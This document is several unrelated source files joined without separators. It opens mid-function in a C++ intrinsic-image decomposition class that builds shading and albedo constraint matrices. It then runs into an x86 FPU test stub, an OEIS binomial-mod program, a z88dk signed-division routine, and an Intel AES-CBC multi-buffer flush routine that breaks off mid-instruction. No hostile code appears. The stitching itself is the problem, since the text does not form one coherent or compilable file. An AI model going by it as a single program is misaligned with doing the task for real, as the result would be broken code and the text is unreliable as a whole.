//cv::waitKey(0); mat_3f sdImg = m_dm.getShading(); mat_3f sdBk = sdImg.clone(); int ih = sdImg.size().height; int iw = sdImg.size().width; int dx[] ={0,1,1}; int dy[] = {1,0,1}; int avgWinSz = 3; int hSz = avgWinSz / 2; float *weight = new float[avgWinSz * avgWinSz]; bool distWeighted = false; float sum = 0; for (int i = - hSz; i <= hSz; i++) { for (int j = -hSz; j <= hSz; j++) { int y = i + hSz; int x = j + hSz; float tmpW; if (distWeighted) { float tmp = float(i * i + j * j) / (hSz * hSz); tmpW = std::exp(-tmp); } else tmpW = 1; weight[y * avgWinSz + x] = tmpW; } } mat_3f edgeImg(ih,iw); edgeImg = cv::Vec3f(0,0,0); for (int i = 0; i < ih - 1; i++) { for (int j = 0; j < iw - 1; j++) { if (!m_ROIMask(i,j)) { continue; } cv::Vec3f r1 = chromImg(i,j); std::vector<int> nx; std::vector<int> ny; for (int k = 0; k < 3; k++) { int i1= i + dy[k]; int j1 = j + dx[k]; cv::Vec3f r2 = chromImg(i1,j1); if(Utility::vecDist(r1,r2) > 0.025){ nx.push_back(-dx[k]); ny.push_back(-dy[k]); nx.push_back(dx[k]); ny.push_back(dy[k]); edgeImg(i,j) = cv::Vec3f(1,1,1); } } if (nx.empty()) { continue; } cv::Vec3f avgVec(0,0,0); int ncnt = 0; for (int k1 = 0; k1 < nx.size(); k1++) { int y = i + ny[k1]; int x = j + nx[k1]; if ( y < 0 || y >= ih || x < 0|| x >= iw || !m_ROIMask(y,x)) { continue; } avgVec += sdImg(y,x); ncnt++; } avgVec[0] /= ncnt; avgVec[1] /= ncnt; avgVec[2] /= ncnt; sdImg(i,j) = avgVec; } } //sdBk.copyTo(sdImg); // //cv::imshow("edge",edgeImg); //cv::waitKey(0); } void IntrinsicModel::decompose( bool normSd /*= false*/,bool normRef /*= false*/,bool wse /*= false*/, bool gamma /*= false*/ ) { int iw = m_img.size().width; int ih = m_img.size().height; mat_3f sdImg = m_dm.getShading(); mat_3f refImg = m_dm.getAlbedo(); if (wse) { reduceSdEdge(); // } //do gamma correction if (normSd) { //cv::imshow("mask",m_ROIMask); //cv::waitKey(0); DataManager::normalizeImage(sdImg,m_ROIMask); } if (normRef) { DataManager::normalizeImage(refImg,m_ROIMask); } if (gamma) { float gval = 2.2; IntrinsicModel::gammaCorrect(sdImg,gval); IntrinsicModel::gammaCorrect(refImg,gval); } //sdImg *= 1.5; } Constraint IntrinsicModel::maskConstraint(Constraint& cons){ Constraint mCons; int h = m_img.size().height; int w = m_img.size().width; for (int i = 0; i <cons.size(); i++) { GrpEle& ge = cons[i]; GrpEle ge1 = ge; ge1.m_eMember.clear(); for (int j = 0; j <ge.m_eMember.size(); j++) { Element& ele = ge.m_eMember[j]; int py = ele.m_eleID / w; int px = ele.m_eleID % w; if (m_ROIMask(py,px)) { ge1.m_eMember.push_back(ele); } } if (ge1.m_eMember.size() > 0) { mCons.push_back(ge1); } } return mCons; } Constraint IntrinsicModel::dszCons(int sz11, int sz12, Constraint cons){ // int sz21 = sz11 >> 1; int sz22 = sz12 >> 1; mat_i sMat(sz21,sz22); sMat = 1; Constraint dszCons; for (int i = 0;i < cons.size(); i++) { GrpEle ge = cons[i]; if (ge.m_eMember.empty()) { continue; } GrpEle ge1 = ge; ge1.m_eMember.clear(); for (int j = 0; j < ge.m_eMember.size() ;j++) { Element ele1 = ge.m_eMember[j]; int px = ge.m_eMember[j].m_eleID % sz12; int py = ge.m_eMember[j].m_eleID / sz12; px >>= 1; py >>= 1; if (px >= 0 && px < sz22 && py >= 0 && py < sz21 && sMat(py,px)) { ele1.m_eleID = py * sz22 + px; ge1.m_eMember.push_back(ele1); sMat(py,px) = 0; } } if (!ge1.m_eMember.empty()) { dszCons.push_back(ge1); } } // return dszCons; } Constraint IntrinsicModel::uszCons(int sz11, int sz12, int sz21, int sz22, Constraint cons){ Constraint upCons; for (int i = 0;i < cons.size(); i++) { GrpEle ge = cons[i]; if (ge.m_eMember.empty()) { continue; } GrpEle ge1 = ge; ge1.m_eMember.clear(); for (int j = 0; j < ge.m_eMember.size() ;j++) { int px = ge.m_eMember[j].m_eleID % sz12; int py = ge.m_eMember[j].m_eleID / sz12; px <<= 1; py <<= 1; if (px >= 0 && px < sz21 && py >= 0 && py < sz22) ge1.m_eMember.push_back(Element(py * sz22 + px,ge.m_eMember[j].m_conf)); } if (!ge1.m_eMember.empty()) { upCons.push_back(ge1); } } return upCons; } ublas::matrix<mat_f> IntrinsicModel::uszAVec(int sz21, int sz22){ // mat_3f aVecMat2(m_img.size()); for (int i = 0; i < m_img.size().height; i++) { for (int j = 0; j < m_img.size().width; j++) { aVecMat2(i,j) = cv::Vec3f(m_aVecMat(i,j)(0,0),m_aVecMat(i,j)(1,0) ,m_aVecMat(i,j)(2,0)); } } mat_3f uszAVecMat2(sz21,sz22); cv::resize(aVecMat2,uszAVecMat2,uszAVecMat2.size(),0,0,cv::INTER_LINEAR); ublas::matrix<mat_f> uszAVecMat(sz21,sz22); for (int i = 0; i < sz21; i++) { for (int j = 0; j < sz22; j++) { uszAVecMat(i,j) = mat_f(3,1); uszAVecMat(i,j)(0,0) = uszAVecMat2(i,j)[0]; uszAVecMat(i,j)(1,0) = uszAVecMat2(i,j)[1]; uszAVecMat(i,j)(2,0) = uszAVecMat2(i,j)[2]; } } return uszAVecMat; } void IntrinsicModel::initCPNlMatrix(int m_lWinSize){ if (!m_cpnInited) { int hLWinSize = m_lWinSize / 2; //half window size int sizeN = 2 * 2 * hLWinSize + 1; int numNoneZeroEntry = sizeN * sizeN; int iW = m_img.size().width; int iH = m_img.size().height; //m_sLapmat = ublas_smat_f(iH * iW, iH * iW); this->m_mpinvMat = ublas::matrix<mat_f>(iH, iW); //each pixel has an "pinv(m)" matrix this->m_aVecMat = ublas::matrix<mat_f>(iH,iW); //"a" vector for each pixel //for each local window, construct the local int mNumRow = m_lWinSize * m_lWinSize + 3; mat_f mMatrix(mNumRow , 3); //matrix defined by Eq (8) mat_f invM(3,mNumRow); invM = 0; mMatrix = 0; //set to zero float m_epsilon = 1e-7; float sqrtEpsilon = sqrt(m_epsilon); mMatrix(mNumRow - 3,0) = mMatrix(mNumRow - 2, 1) = mMatrix(mNumRow - 1,2) = sqrtEpsilon;//set the last three rows for (int y = 0; y < iH; y++) { for (int x = 0; x < iW; x++) { m_mpinvMat(y,x) = invM; } } for (int y = hLWinSize; y < iH - hLWinSize; y++) { for (int x = hLWinSize; x < iW - hLWinSize; x++) { //set the matrix defined in Eq (8) if (!m_ROIMask(y,x)) { continue; } for (int m = - hLWinSize; m <= hLWinSize; m++) { int yc = y + m; for (int n = - hLWinSize; n <= hLWinSize; n++) { int xc = x +n; int tmpIdx = (m + hLWinSize) * m_lWinSize + n + hLWinSize; mMatrix( tmpIdx, 0) = m_img(yc,xc)[0];//r mMatrix( tmpIdx, 1) = m_img(yc,xc)[1];//g mMatrix( tmpIdx, 2) = m_img(yc,xc)[2];//b } } mat_f mPinv = pinv(mMatrix); // pseudo inverse m_mpinvMat(y , x) = mPinv; // } } m_cpnInited = true; } } void IntrinsicModel::_cons2SparseMat(){ //now formulate the constraint as matrix float w = 1.0; if(m_isCS){ std::cout << "constant shading constraint to sparse matrix..." << std::endl; if (!m_csInited) { _shadeConstraint2SparseMat(); m_csInited = true; } m_allConsMat = m_allConsMat + w * m_shadeConsMat; m_allConsVec += w * m_shadeConsVec; } if (m_isCR) { std::cout << "constant albedo constraint to sparse matrix..." << std::endl; if(!m_crInited) { _albedoConstraint2SparseMat(); m_crInited = true; } m_allConsMat = m_allConsMat + w * m_albedoConsMat; m_allConsVec += w * m_albedoConsVec; // } if (m_isAbsS) { std::cout << "absolute shading constraint to sparse matrix..." << std::endl; if (!m_absInited) { _absoluteShadeConstraint2SparseMat(); m_absInited =true; } float absW = 1.0; m_allConsMat = m_allConsMat + absW * m_absConsMat; m_allConsVec += absW * m_absConsVec; } typedef ublas_cm_f::iterator1 it1_t; typedef ublas_cm_f::iterator2 it2_t; int nzCnt = 0; float iw = m_img.size().width; float ih = m_img.size().height; for (it2_t it2 = m_allConsMat.begin2();it2 != m_allConsMat.end2(); it2++) { int idx1, idx2; for (it1_t it1 = it2.begin(); it1 != it2.end(); it1++,nzCnt++); } m_sparsity = double(nzCnt) / double(iw * ih * iw * ih); } void IntrinsicModel::lMat2sLmat(){ // int ih = m_img.size().height; int iw = m_img.size().width; int h = m_lapMat.size1(); int w = m_lapMat.size2(); int hLWinSize = m_lWinSize / 2; //half window size int sizeN = 2 * 2 * hLWinSize + 1; m_sLapmat = ublas_cm_f( iw * ih, iw * ih); for (int i = 0; i < iw * ih ;i++) { int y = i / iw; int x = i % iw; for (int k = 0; k < w; k++) { if (m_lapMat(i,k)==0) { continue; } int yjc = y + k/sizeN - 2 * hLWinSize; int xjc = x + k%sizeN - 2 * hLWinSize; //std::cout << "y,x,y1,x1:" << y <<"," << x << "," << yjc << "," << xjc << std::endl; //getchar(); m_sLapmat(i , yjc * iw + xjc) = m_lapMat(i,k); } } } void IntrinsicModel::_buildLaplacianMatrix(){ std::cout << "initialize laplacian matrix..." << std::endl; int hLWinSize = m_lWinSize / 2; //half window size int sizeN = 2 * 2 * hLWinSize + 1; int numNoneZeroEntry = sizeN * sizeN; int iW = m_img.size().width; int iH = m_img.size().height; m_lapMat = ublas_mat_f(iH * iW, numNoneZeroEntry); for (int i = 0;i < m_lapMat.size1(); i++) { for (int j = 0; j < m_lapMat.size2(); j++) { m_lapMat(i,j) = 0; } } //for each local window, construct the local int mNumRow = m_lWinSize * m_lWinSize + 3; mat_f mMatrix(mNumRow , 3); //matrix defined by Eq (8) mMatrix = 0; //set to zero float m_epsilon = 1e-7; float sqrtEpsilon = sqrt(m_epsilon); mMatrix(mNumRow - 3,0) = mMatrix(mNumRow - 2, 1) = mMatrix(mNumRow - 1,2) = sqrtEpsilon;//set the last three rows for (int y = hLWinSize; y < iH - hLWinSize; y++) { for (int x = hLWinSize; x < iW - hLWinSize; x++) { //set the matrix defined in Eq (8) for (int m = - hLWinSize; m <= hLWinSize; m++) { int yc = y + m; for (int n = - hLWinSize; n <= hLWinSize; n++) { int xc = x +n; int tmpIdx = (m + hLWinSize) * m_lWinSize + n + hLWinSize; mMatrix( tmpIdx, 0) = m_img(yc,xc)[0];//r mMatrix( tmpIdx, 1) = m_img(yc,xc)[1];//g mMatrix( tmpIdx, 2) = m_img(yc,xc)[2];//b } } mat_f mPinv = pinv(mMatrix); // pseudo inverse mat_f mMatrix_mPinv = mMatrix * mPinv; //mi * pinv(mi) cv::Size tmpSize = mMatrix_mPinv.size(); mat_f nMat = mat_f::eye(tmpSize) - mMatrix_mPinv; //n matrix cv::Size nMatSize = nMat.size(); mat_f nMatTrans(cv::Size(nMatSize.width,nMatSize.height)); cv::transpose(nMat,nMatTrans); mat_f nTrans_nMat = nMatTrans * nMat; // for (int mi = -hLWinSize; mi <= hLWinSize; mi++) { int yic = y + mi; for (int ni = -hLWinSize; ni <= hLWinSize; ni++) { int xic = x + ni; int i = yic * iW + xic; //pixel (yic, xic), row index in the Laplacian matrix int ik = (mi + hLWinSize) * m_lWinSize + ni + hLWinSize; for (int mj = -hLWinSize; mj <= hLWinSize; mj++) { int yjc = y + mj; for (int nj = -hLWinSize; nj <= hLWinSize; nj++) { int xjc = x + nj; int jk = (mj + hLWinSize) * m_lWinSize + nj + hLWinSize; int j = (yjc - yic + 2 * hLWinSize) * sizeN + (xjc - xic + 2 * hLWinSize); m_lapMat(i,j) += nTrans_nMat(ik,jk); } } } } } } m_matBuild = true; lMat2sLmat(); } void IntrinsicModel::init() { _init(); } void IntrinsicModel::computeAVec() { //compute "a" vector for each pixel initCPNlMatrix(m_lWinSize); int iW = m_img.size().width; int iH = m_img.size().height; mat_i pixAStatus(iH,iW); pixAStatus = 0; int hLWinSize = m_lWinSize / 2; //half window size //all marginal pixels should use the for (int y = 0;y < iH; y++) { for (int x = 0; x < iW; x++) { m_aVecMat(y,x) = mat_f(3,1); m_aVecMat(y,x) = 0; if (y >= hLWinSize && x >= hLWinSize && y < iH - hLWinSize && x < iW - hLWinSize) { pixAStatus(y,x) = 1; } } } // mat_3f shadeImg = m_dm.getShading(); // for ( int y = hLWinSize; y < iH - hLWinSize; y++) { for (int x = hLWinSize; x < iW - hLWinSize; x++) { if (!m_ROIMask(y,x)) { continue; } mat_f pmMat = m_mpinvMat(y,x); mat_f sVec(m_lWinSize * m_lWinSize + 3,1); sVec = 0; // int pIdx = 0; for (int i = -hLWinSize; i <= hLWinSize; i++) { int py = i + y; for (int j = -hLWinSize; j <= hLWinSize; j++, pIdx++) { int px = j + x; sVec(pIdx,0) = shadeImg(py,px)[0]; //get the shading value } } //now compute the a vector mat_f aVec = m_mpinvMat(y,x) * sVec; // m_aVecMat(y,x) = aVec; for (int i = -hLWinSize; i <= hLWinSize; i++) { int py = y + i; for (int j = -hLWinSize; j <= hLWinSize; j++) { int px = x + j; if (!pixAStatus(py,px) &&m_ROIMask(py,px)) { m_aVecMat(py,px) = aVec; pixAStatus(py,px) = 1; } } } } } //average the a vectors //avgCPNormal(false); } mat_3f IntrinsicModel::aVec2Mat3f(){ // mat_3f vis(m_img.size()); for (int i = 0; i < m_img.size().height; i++) { for (int j = 0; j < m_img.size().width; j++) { mat_f tmpA = m_aVecMat(i,j); vis(i,j)[0] = tmpA(0,0); vis(i,j)[1] = tmpA(1,0); vis(i,j)[2] = tmpA(2,0); } } return vis; } void IntrinsicModel::visAVec(){ mat_3f vis = aVec2Mat3f(); static int cnt = 0; char buffer[256]; sprintf(buffer,"%s_%d","window",cnt++); cv::imshow(buffer,vis); cv::waitKey(0); } void IntrinsicModel::avgCPNormal(bool distWeithed ){ // int hLWinSize = m_lWinSize / 2; int avgWinSz = 3; int hSz = avgWinSz / 2; float *weight = new float[avgWinSz * avgWinSz]; float sum = 0; for (int i = - hSz; i <= hSz; i++) { for (int j = -hSz; j <= hSz; j++) { int y = i + hSz; int x = j + hSz; float tmpW; if (distWeithed) { float tmp = float(i * i + j * j) / (hSz * hSz); tmpW = std::exp(-tmp); } else tmpW = 1; weight[y * avgWinSz + x] = tmpW; sum += tmpW; } } for (int i = 0; i < avgWinSz * avgWinSz; i++) { weight[i] /= sum; } // int iH = m_img.size().height; int iW = m_img.size().width; ublas::matrix<mat_f> aVecMatBK(m_aVecMat); for (int i = 0; i < iH; i++) { for (int j = 0; j < iW; j++) { if (!m_ROIMask(i,j)) { continue; } mat_f avgVec(3,1); avgVec = 0; float wSum = 0; for (int k1 = -hSz; k1 <= hSz; k1++) { for (int k2 = -hSz; k2 <= hSz; k2++) { int y = i + k1; int x = j + k2; if ( y < 0 || y >= iH || x < 0 || x >= iW || !m_ROIMask(y,x)) { continue; } float tmpW =weight[(k1 + hSz) * avgWinSz + k2 + hSz]; wSum += tmpW; mat_f curVec = m_aVecMat(y,x); avgVec = avgVec + tmpW * curVec; } } avgVec /= wSum; aVecMatBK(i,j) = avgVec.clone(); } } m_aVecMat = aVecMatBK; delete[] weight; } mat_3f IntrinsicModel::decomposeFromAVec(){ // s = I * a for each pixel int iH = m_img.size().height; int iW = m_img.size().width; mat_3f sImg = m_dm.getShading(); mat_3f rImg = m_dm.getAlbedo(); sImg = cv::Vec3f(0,0,0); for (int i = 0; i < iH; i++) { for (int j = 0; j < iW; j++) { //std::cout << "i,j:" << i <<"," << j << std::endl; if (!m_ROIMask(i,j)) { continue; } mat_f aVec = m_aVecMat(i,j); cv::Vec3f rgbVec = m_img(i,j); float sVal = aVec(0,0) * rgbVec[0] + aVec(1,0) * rgbVec[1] + aVec(2,0) * rgbVec[2]; sImg(i,j) = cv::Vec3f(sVal,sVal,sVal); sVal = sVal > 1e-8 ? 1/sVal: 0; rImg(i,j) = cv::Vec3f(rgbVec[0] * sVal,rgbVec[1] * sVal,rgbVec[2] * sVal); } } return sImg; } void IntrinsicModel::solve(){ m_solveTime = 0.0; _cons2SparseMat(); // //std::cout << "solve the linear system..." << std::endl; _solve(); //convert the solution vector to shading image int iw = m_img.size().width; mat_3f sdImg = m_dm.getShading(); mat_3f inputImg = m_dm.getInput(); mat_3f refImg = m_dm.getAlbedo(); for (int i = 0; i < m_solutionVec.size(); i++) { int px = i % iw; int py = i / iw; float sdVal = m_solutionVec(i); if (!m_ROIMask(py,px)) { sdVal = 0; } sdImg(py,px) = cv::Vec3f(sdVal,sdVal,sdVal); cv::Vec3f rgb = inputImg(py,px); sdVal = sdVal > 1e-8? 1/sdVal: 0; refImg(py,px) = cv::Vec3f(rgb[0] * sdVal, rgb[1] * sdVal, rgb[2] * sdVal); } // } void IntrinsicModel::saveAlbedoConsVis(std::string basePath, std::string imgName){ if (m_isCR && m_tpgs.m_dmPtr) { char buffer[512]; m_tpgs.saveGrpVis(basePath+"/"+imgName,"tpgs",20); } } void IntrinsicModel::saveResult(std::string basePath, std::string imgName){ //save the result char subDirName[256]; //if (m_tpgs.m_dmPtr) //{ //sprintf(subDirName,"%s_%s_%f_%f_%f",imgName.c_str(),m_modelName.c_str(),IMConfig::chromThrd,IMConfig::txVar,IMConfig::distThrd); //}else{ sprintf(subDirName,"%s_%s",imgName.c_str(),m_modelName.c_str()); //} basePath = basePath + "/" + subDirName; //CreateDirectory(basePath.c_str(),NULL); //create the directory boost::filesystem::path rootPath ( basePath.c_str() ); boost::system::error_code returnedError; boost::filesystem::create_directories( rootPath, returnedError ); std::string sdImgPath = basePath + "/" + imgName + "_sd_" + m_modelName + ".png"; std::string refImgPath = basePath + "/" + imgName + "_ref_" + m_modelName + ".png"; std::string chromImgPath = basePath + "/" + imgName + "_chrom_" + m_modelName + ".png"; cv::imwrite(sdImgPath,m_dm.getShading() * 255.0); cv::imwrite(refImgPath,m_dm.getAlbedo() * 255.0); cv::imwrite(chromImgPath,m_dm.getChrom() * 255.0); //save albedo constraints //saveAlbedoConsVis(basePath,imgName); //save other information std::string fname = basePath + "/" + imgName + ".txt"; FILE* fid = fopen(fname.c_str(),"w"); int iw = m_img.size().width; int ih = m_img.size().height; fprintf(fid,"image size: %d x %d\n",ih , iw); fprintf(fid,"solution time:%f\n",m_solveTime); fprintf(fid,"matrix time:%f\n",m_matrixTime); fprintf(fid,"matrix sparsity:%f\n",m_sparsity); fclose(fid); } //void IntrinsicModel::visConstraint(){ //int h = m_img.size().height; //int w = m_img.size().width; //if(m_isCS){ //verifyUserConstraint(m_shadeScrib.m_scrPix,h ,w); //} //if (m_isCR) //{ //verifyUserConstraint(m_albedoScrib.m_scrPix,h,w); //} //if (m_isAbsS) //{ //verifyUserConstraint(m_absShadeScrib.m_scrPix,h,w); //} //} //#define __USE_SM__ void IntrinsicModel::_shadeConstraint2SparseMat(){ int iw = m_img.size().width; int ih = m_img.size().height; Constraint cons = m_shadeScrib.m_scrPix; m_shadeConsMat = constructShadeSparseMat(cons,iw,ih); m_shadeConsVec = ublas_vec_f(iw * ih); for (int i =0; i < iw * ih; i++) { m_shadeConsVec(i) = 0; } #ifdef __USE_SM__ SparseMat sm(iw * ih, iw * ih); #endif for (int i = 0;i < cons.size(); i++) { GrpEle stroke = cons[i]; //for each pixel stroke, set it as the reference and compute the error int s_sz = stroke.m_eMember.size(); //std::cout << "shading grp size:" << s_sz << std::endl; if(!m_eqCons) { float n_factor = 1.0 / s_sz; for (int j = 0; j < s_sz; j++) { int r_px = stroke.m_eMember[j].m_eleID; //reference pixel float conf1 = stroke.m_eMember[j].m_conf; for (int k = j + 1; k < s_sz; k++) { int c_px = stroke.m_eMember[k].m_eleID; //current pixel float conf2 = stroke.m_eMember[k].m_conf; float tmpW = n_factor * (conf1 + conf2); m_shadeConsMat(r_px,r_px) += tmpW; m_shadeConsMat(c_px,c_px) += tmpW; m_shadeConsMat(r_px,c_px) -= tmpW; m_shadeConsMat(c_px,r_px) -= tmpW; } } } else{ for (int k = 0; k < s_sz - 1; k++) { int r_px = stroke.m_eMember[k].m_eleID; int c_px = stroke.m_eMember[k+1].m_eleID; float conf1 = stroke.m_eMember[k].m_conf; float conf2 = stroke.m_eMember[k+1].m_conf; float tmp = (conf1 + conf2) * m_csLambda; #ifdef __USE_SM__ sm.addElement(r_px,r_px,tmp); sm.addElement(c_px,c_px,tmp); sm.addElement(r_px,c_px,-tmp); sm.addElement(c_px,r_px,-tmp); #else m_shadeConsMat(r_px,r_px) += tmp; m_shadeConsMat(c_px,c_px) += tmp; m_shadeConsMat(r_px,c_px) -= tmp; m_shadeConsMat(c_px,r_px) -= tmp; #endif } } } #ifdef __USE_SM__ sm.merge(); sm.dumpToFile("d:/ELEZQI/shade_sparse.txt"); #endif } void IntrinsicModel::_albedoConstraint2SparseMat(){ int iw = m_img.size().width; int ih = m_img.size().height; int pxCnt = ih * iw; m_albedoConsMat = constructAlbedoSparseMat(m_cr,iw ,ih); //m_albedoConsMat = ublas_cm_f(pxCnt,pxCnt); m_albedoConsVec = ublas_vec_f(pxCnt); for (int i = 0; i < pxCnt; i++) { m_albedoConsVec(i) = 0; } } void IntrinsicModel::_absoluteShadeConstraint2SparseMat(){ int iw = m_img.size().width; int ih = m_img.size().height; this->m_absConsMat = ublas_cm_f(iw * ih, iw * ih); this->m_absConsVec = ublas_vec_f(iw * ih); for (int i = 0; i < iw * ih; i++) { m_absConsVec(i) = 0; } Constraint absShadeCons = m_absShadeScrib.m_scrPix; //std::cout << "# of abs stroke:" << absShadeCons.size() << std::endl; for (int i = 0;i < absShadeCons.size(); i++) { GrpEle stroke = absShadeCons[i]; //std::cout<<"stroke size:" << stroke.m_eMember.size() << std::endl; for (int j = 0; j < stroke.m_eMember.size(); j++) { int pid = stroke.m_eMember[j].m_eleID; float pval = m_absShadeScrib.scrVal(pid / iw, pid % iw)[0]; if (m_modelName == "RI") { pval = log(pval); } m_absConsMat(pid,pid) = m_absLambda; //1 * lambda m_absConsVec(pid) = m_absLambda * pval; //get the absolute shading value } } } void IntrinsicModel::saveConsGrpVal(std::string basePath,std::string imgName){ // char buffer[256]; if (m_isCS) { m_shadeScrib.updateScrVal(); m_shadeScrib.writeScrPixVal(basePath + "/" + imgName + "_cs.txt",false); m_shadeScrib.writeScrPixVal(basePath + "/" + imgName + "_cs.png",true); } if (m_isCR) { m_albedoScrib.updateScrVal(); m_albedoScrib.writeScrPixVal(basePath + "/" + imgName + "_cr.txt",false); m_albedoScrib.writeScrPixVal(basePath + "/" + imgName + "_cr.png",true); } } void IntrinsicModel::saveSparseMatrix(std::string rootPath){ // std::string smPath = rootPath + "\\" +"allCons_mat.txt"; std::string bPath = rootPath + "\\" + "allcons_vec.txt"; std::string dimPath = rootPath + "\\" + "img_dim.txt"; typedef ublas_cm_f::iterator1 it1_t; typedef ublas_cm_f::iterator2 it2_t; ublas_cm_f& resultMat = m_allConsMat; std::ofstream ofs; ofs.open(smPath.c_str(),std::ios_base::out); for (it1_t it1 = resultMat.begin1();it1 != resultMat.end1(); it1++) { int idx1, idx2; for (it2_t it2 = it1.begin(); it2 != it1.end(); it2++) { idx1 = it2.index1(); idx2 = it2.index2(); float eleVal = resultMat(idx1,idx2); ofs << idx1 << " " << idx2 << " " << eleVal << "\n"; } } ofs.close(); ofs.open(bPath.c_str(),std::ios::out); for (int i = 0; i < m_allConsVec.size(); i++) { ofs << m_allConsVec(i) << "\n"; } ofs.close(); // ofs.open(dimPath.c_str(),std::ios::out); ofs << m_img.size().height << " " << m_img.size().width << "\n"; ofs.close(); } void IntrinsicModel::gammaCorrect(mat_3f img, float gamma){ // cv::pow(img,1.0/gamma,img); } IntrinsicModel::~IntrinsicModel(){ }
BITS 64 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS=FLAG_FPU_C1|FLAG_FPU_PE ;TEST_FILE_META_END ; set up st0 to be 3.141593 FLDPI FLD1 ;TEST_BEGIN_RECORDING lea rdi, [rsp-08] FSTP qword [rdi] FDIV qword [rdi] mov edi, 0 ;TEST_END_RECORDING
; A133885: Binomial(n+5,n) mod 5^2. ; 1,6,21,6,1,2,12,17,12,2,3,18,13,18,3,4,24,9,24,4,5,5,5,5,5,6,11,1,11,6,7,17,22,17,7,8,23,18,23,8,9,4,14,4,9,10,10,10,10,10,11,16,6,16,11,12,22,2,22,12,13,3,23,3,13,14,9,19,9,14,15,15,15,15,15,16,21,11,21,16,17 add $0,5 bin $0,5 mod $0,25 mov $1,$0
INCLUDE "clib_cfg.asm" SECTION code_clib SECTION code_l_sdcc PUBLIC __divslong EXTERN l_divs_32_32x32 __divslong: ; signed 32-bit division ; ; enter : stack = divisor (32-bit), dividend (32-bit), ret ; ; exit : dehl = quotient ; dehl'= remainder pop af exx pop hl pop de ; dehl' = dividend exx pop hl pop de ; dehl = divisor push de push hl push de push hl push af IF (__CLIB_OPT_IMATH <= 50) || (__SDCC_IY) jp l_divs_32_32x32 ENDIF IF (__CLIB_OPT_IMATH > 50) && (__SDCC_IX) push ix call l_divs_32_32x32 pop ix ret ENDIF
;; ;; Copyright (c) 2012-2021, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %include "include/os.asm" %include "include/imb_job.asm" %include "include/mb_mgr_datastruct.asm" %include "include/reg_sizes.asm" %include "include/cet.inc" %ifndef NUM_LANES %define NUM_LANES 4 %endif %ifndef AES_CBC_ENC_X4 %define AES_CBC_ENC_X4 aes_cbc_enc_128_x4 %define FLUSH_JOB_AES_ENC flush_job_aes128_enc_sse %endif ; void AES_CBC_ENC_X4(AES_ARGS *args, UINT64 len_in_bytes); extern AES_CBC_ENC_X4 mksection .rodata default rel align 16 len_masks: dq 0x000000000000FFFF, 0x0000000000000000 dq 0x00000000FFFF0000, 0x0000000000000000 dq 0x0000FFFF00000000, 0x0000000000000000 dq 0xFFFF000000000000, 0x0000000000000000 %if NUM_LANES > 4 dq 0x0000000000000000, 0x000000000000FFFF dq 0x0000000000000000, 0x00000000FFFF0000 dq 0x0000000000000000, 0x0000FFFF00000000 dq 0x0000000000000000, 0xFFFF000000000000 %endif %if NUM_LANES > 4 align 16 dupw: dq 0x0100010001000100, 0x0100010001000100 %endif one: dq 1 two: dq 2 three: dq 3 %if NUM_LANES > 4 four: dq 4 five: dq 5 six: dq 6 seven: dq 7 %endif mksection .text %define APPEND(a,b) a %+ b %ifdef LINUX %define arg1 rdi %define arg2 rsi %else %define arg1 rcx %define arg2 rdx %endif %define state arg1 %define job arg2 %define len2 arg2 %define job_rax rax %define unused_lanes rbx %define tmp1 rbx %define good_lane rdx %define iv rdx %define tmp2 rax ; idx needs to be in rbp %define tmp rbp %define idx rbp %define tmp3 r8 ; STACK_SPACE needs to be an odd multiple of 8 ; This routine and its callee clobbers all GPRs struc STACK _gpr_save: resq 8 _rsp_save: resq 1 endstruc ; JOB* FLUSH_JOB_AES_ENC(MB_MGR_AES_OOO *state, IMB_JOB *job) ; arg 1 : state ; arg 2 : job MKGLOBAL(FLUSH_JOB_AES_ENC,function,internal) FLUSH_JOB_AES_ENC: endbranch64 mov rax, rsp sub rsp, STACK_size and rsp, -16 mov [rsp + _gpr_save + 8*0], rbx mov [rsp + _gpr_save + 8*1], rbp mov [rsp + _gpr_save + 8*2], r12 mov [rsp + _gpr_save + 8*3], r13 mov [rsp + _gpr_save + 8*4], r14 mov [rsp + _gpr_save + 8*5], r15 %ifndef LINUX mov [rsp + _gpr_save + 8*6], rsi mov [rsp + _gpr_save + 8*7], rdi %endif mov [rsp + _rsp_save], rax ; original SP ; check for empty mov unused_lanes, [state + _aes_unused_lanes] bt unused_lanes, ((NUM_LANES * 4) + 3) jc return_null ; find a lane with a non-null job xor good_lane, good_lane cmp qword [state + _aes_job_in_lane + 1*8], 0 cmovne good_lane, [rel one] cmp qword [state + _aes_job_in_lane + 2*8], 0 cmovne good_lane, [rel two] cmp qword [state + _aes_job_in_lane + 3*8], 0 cmovne good_lane, [rel three] %if NUM_LANES > 4 cmp qword [state + _aes_job_in_lane + 4*8], 0 cmovne good_lane, [rel four] cmp qword [state + _aes_job_in_lane + 5*8], 0 cmovne good_lane, [rel five] cmp qword [state + _aes_job_in_lane + 6*8], 0 cmovne good_lane, [rel six] cmp qword [state + _aes_job_in_lane + 7*8], 0 cmovne good_lane, [rel seven] %endif ; copy good_lane to empty lanes mov tmp1, [state + _aes_args_in + 